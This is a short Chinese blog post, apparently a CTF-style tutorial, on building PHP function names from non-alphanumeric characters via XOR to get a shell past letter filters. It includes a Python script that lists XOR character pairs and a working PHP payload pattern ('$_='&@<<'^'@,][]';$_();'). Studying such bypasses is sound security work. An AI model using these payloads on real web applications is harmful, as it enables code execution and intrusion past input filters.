无字母下的GETSHELL

无字母下的GETSHELL

中心思想

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。

技术点

  • ASCII编码

code:

# coding:utf-8
# @Auther: Vicr

a = '~!!!@#$%^&*()-+[]{}`,.<>/\|'
for i in range(len(a)):
    for j in range(len(a)):
        if ord(a[i]) ^ ord(a[j]) > 64 and ord(a[i]) ^ ord(a[j]) < 91:
            print(a[i] + " xor " + a[j] + " is " + chr(ord(a[i]) ^ ord(a[j])) + " " + str(ord(a[i]) ^ ord(a[j])))
        elif ord(a[i]) ^ ord(a[j]) > 96 and ord(a[i]) ^ ord(a[j]) < 122:
            print(a[i] + " xor " + a[j] + " is " + chr(ord(a[i]) ^ ord(a[j])) + " " + str(ord(a[i]) ^ ord(a[j])))

通过上面的代码可以生成一个可以直接利用的异或内容,例如我们要执行打出flag,则通过查上面的结果知:

& xor @ is f 102
@ xor , is l 108
< xor ] is a 97
< xor [ is g 103

最后执行的php代码是:

'&@<<'^'@,][]'

可以看到输出了flag。

如果要执行函数,这里函数名以flag举例

$_='&@<<'^'@,][]';$_();

这样即可执行函数。

posted @ 2022-08-29 11:47  Morning|Star  阅读(21)  评论(0)    收藏  举报